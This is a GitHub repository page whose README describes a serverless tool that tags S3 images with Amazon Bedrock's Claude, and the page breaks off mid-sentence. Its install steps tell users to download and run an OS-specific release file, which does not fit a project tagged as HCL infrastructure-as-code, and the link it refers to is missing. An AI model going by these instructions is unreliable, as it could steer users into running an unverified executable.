walzkwani/aws-s3-ai-image-tagger
walzkwaniHCL1updated 4mo ago
🚀 Automate AI-generated captions and tags for images in Amazon S3 using Amazon Bedrock's Claude model for enhanced organization and searchability.
Claude
aiamazon-bedrockanthropicautomationaws-lambdabedrockclaudecomputer-visionimage-processingimage-tagginginfrastructure-as-codelambda
README
🖼️ aws-s3-ai-image-tagger - Automatically Tag Your Images with AI
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🚀 Getting Started
Welcome to the aws-s3-ai-image-tagger project. This application helps you automatically generate captions and tags for your images using serverless technology on AWS. It's easy to set up and allows you to use AI for image tagging without needing any technical expertise.
📥 Download & Install
To get started, visit the Releases page to download the latest version of the application:
Follow these steps to install the application:
- Open the link above.
- Look for the latest release.
- Click on the download link for your operating system.
- Once the file has downloaded, locate it in your Downloads folder.
- Open the file to begin the installation process.
- Follow the prompts to complete the installation.
🌟 Features
- AI-Powered Tagging: Automatically generate descriptive tags and captions for your images.
- Serverless Architecture: Utilizes AWS services, reducing the need for local setup.
- Easy Integration: Connect with your existing AWS setup effortlessly.
- Multi-Image Support: Tag multiple images at once to save time.
- Secure Storage: Your images are stored in AWS S3, ensuring they are safe and easily accessible.
⚙️ System Requirements
To use this application, ensure you have the following:
- A computer running Windows, macOS, or Linux.
- Basic knowledge of how to navigate your operating system.
- An active AWS account (you can sign up for one if needed).
🛠️ How It Works
Once you install the application, follow these simple steps to sta